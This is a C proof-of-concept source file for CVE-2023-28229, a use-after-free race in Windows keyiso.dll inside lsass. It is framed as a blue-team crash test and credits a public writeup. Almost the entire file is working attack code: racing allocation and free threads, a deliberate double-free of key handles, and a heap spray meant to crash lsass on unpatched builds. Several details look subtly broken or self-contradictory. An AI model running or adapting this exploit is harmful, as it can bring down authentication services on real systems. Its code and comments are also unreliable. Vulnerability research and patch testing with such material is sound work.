// poc_cve_2023_28229.c — CVE-2023-28229 keyiso.dll UAF race (blue-team crash PoC)
//
// Adapted from k0shl's writeup:
//   https://whereisk0shl.top/post/Isolate%20me%20from%20sandbox%20-%20Explore%20elevation%20of%20privilege%20of%20CNG%20Key%20Isolation/
//
// Bug: In keyiso.dll (CNG Key Isolation, inside lsass), object refcount is set
// to 1 at allocation and bumped to 2 when inserted into the context list. There
// is no lock between these two steps. A concurrent free drops refcount 1→0,
// calls SrvFreeKey (frees the heap block), then still dereferences the freed
// object and calls through its vftable at offset 0x20.
//
// Patched (KB5025239, keyiso 10.0.22621.1555) by:
//   - Widening the critical-section scope in SrvCryptFreeKey to cover the
//     entire lookup → unlink → free → vftable-dereference sequence.
//   - Moving the initial refcount bump inside the critical section in
//     SrvAddKeyToList so refcount never equals 1 while the object is reachable.
//   - Switching to 64-bit interlocked refcount operations.
//
// Requirements / expected results:
//   - Pre-KB5025239 Windows 11 22H2 (or equivalent era build).
//   - Run as any user process (the NCrypt APIs reach keyiso regardless of IL).
//   - After many create/free race iterations, lsass may crash (bugcheck or
//     automatic reboot). On a patched build the loop continues indefinitely.
//
// Build (VS developer prompt):
//   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2023_28229.c /link ncrypt.lib
//
// NOTE: This PoC uses the public NCrypt API layer. The original exploit called
// the keyiso RPC interfaces directly with predicted internal handles, which is
// more reliable. Winning the race through NCrypt wrappers requires a large
// number of iterations and favorable scheduling.

#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <ncrypt.h>
#include <stdio.h>

#define KEY_NAME         L"poc_test_key"
#define PROVIDER_NAME    MS_KEY_STORAGE_PROVIDER   // "Microsoft Software Key Storage Provider"
#define ALGORITHM        NCRYPT_RSA_ALGORITHM
#define KEY_LEN_BITS     2048

// Tunables — increase for better race odds.
#define ALLOC_THREADS    4
#define FREE_THREADS     4
#define SPRAY_THREADS    2
#define ITERATIONS       0x40000

static volatile LONG g_stop = 0;
static NCRYPT_PROV_HANDLE g_hProvider = 0;

// Thread A: rapid key creation.
static DWORD WINAPI ThreadAlloc(LPVOID param) {
    (void)param;
    for (DWORD i = 0; i < ITERATIONS && !g_stop; i++) {
        NCRYPT_KEY_HANDLE hKey = 0;
        // We create ephemeral keys (no NCRYPT_OVERWRITE_KEY_FLAG) so each
        // call allocates a new key object in keyiso.  The object size is 0x38.
        SECURITY_STATUS stat = NCryptCreatePersistedKey(
            g_hProvider, &hKey, ALGORITHM, KEY_NAME,
            0, NCRYPT_MACHINE_KEY_FLAG);
        if (stat == ERROR_SUCCESS && hKey) {
            // Do NOT finalize; we only care about the allocation side of the race.
            NCryptFreeKey(hKey);
        }
    }
    return 0;
}

// Thread B: rapid key free with predicted / reused handles.
// Because NCrypt wraps the internal RPC handles, the most practical approach
// is to create keys in one thread and immediately free them in another,
// reusing the same application-visible handle when possible.
static DWORD WINAPI ThreadFree(LPVOID param) {
    (void)param;
    for (DWORD i = 0; i < ITERATIONS && !g_stop; i++) {
        NCRYPT_KEY_HANDLE hKey = 0;
        SECURITY_STATUS stat = NCryptCreatePersistedKey(
            g_hProvider, &hKey, ALGORITHM, KEY_NAME,
            0, NCRYPT_MACHINE_KEY_FLAG);
        if (stat == ERROR_SUCCESS && hKey) {
            // Free twice: the first free may drop refcount to 0 and free the
            // object; the second free (or a concurrent create) touches the UAF.
            NCryptFreeKey(hKey);
            // Intentional double-free attempt on the (now-invalid) handle.
            // In the vulnerable build the service-side refcount can still be 1
            // at this point because of the race window, causing a second free
            // path to execute on the already-freed object.
            NCryptFreeKey(hKey);
        }
    }
    return 0;
}

// Thread C: heap spray via provider property sets.
// The "Use Context" property path (CVE-2023-36906) is the original info-leak
// primitive, but any same-sized allocation (0x38 bytes) can reclaim the freed
// key object slot.  We spray with property buffers of varying sizes near 0x38.
static DWORD WINAPI ThreadSpray(LPVOID param) {
    (void)param;
    // Property name to set — arbitrary, just needs to allocate in keyiso heap.
    const WCHAR propName[] = L"PocSprayProp";
    BYTE buf[0x40] = { 0x41 };
    for (DWORD i = 0; i < ITERATIONS && !g_stop; i++) {
        NCryptSetProperty(g_hProvider, propName, buf, sizeof(buf), NCRYPT_SILENT_FLAG);
    }
    return 0;
}

int wmain(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("CVE-2023-28229 - keyiso.dll UAF race (blue-team crash PoC)\n");
    printf("Source: k0shl. Pre-KB5025239 builds may crash lsass.\n\n");

    SECURITY_STATUS stat = NCryptOpenStorageProvider(
        &g_hProvider, MS_KEY_STORAGE_PROVIDER, 0);
    if (stat != ERROR_SUCCESS) {
        printf("[-] NCryptOpenStorageProvider failed: 0x%08X\n", (UINT)stat);
        return 1;
    }
    printf("[+] Opened %ws\n", MS_KEY_STORAGE_PROVIDER);

    // Delete any stale key left from a previous run so we don't get
    // NCRYPT_EXISTS errors that short-circuit the allocation path.
    NCryptDeleteKey(g_hProvider, KEY_NAME, 0);

    printf("[+] Spawning %u alloc + %u free + %u spray threads, %u iterations each...\n",
           ALLOC_THREADS, FREE_THREADS, SPRAY_THREADS, ITERATIONS);
    printf("[+] Unpatched: lsass crash / reboot after some time. Patched: stable.\n\n");

    HANDLE threads[ALLOC_THREADS + FREE_THREADS + SPRAY_THREADS];
    DWORD tidx = 0;

    for (DWORD i = 0; i < ALLOC_THREADS; i++)
        threads[tidx++] = CreateThread(NULL, 0, ThreadAlloc, NULL, 0, NULL);
    for (DWORD i = 0; i < FREE_THREADS; i++)
        threads[tidx++] = CreateThread(NULL, 0, ThreadFree, NULL, 0, NULL);
    for (DWORD i = 0; i < SPRAY_THREADS; i++)
        threads[tidx++] = CreateThread(NULL, 0, ThreadSpray, NULL, 0, NULL);

    WaitForMultipleObjects(tidx, threads, TRUE, INFINITE);

    for (DWORD i = 0; i < tidx; i++) CloseHandle(threads[i]);

    NCryptFreeKey(0);  // no-op placeholder to keep ncrypt.lib linked cleanly
    NCryptFreeObject(g_hProvider);

    printf("\n[+] Done — no crash observed (patched, or race not won).\n");
    return 0;
}
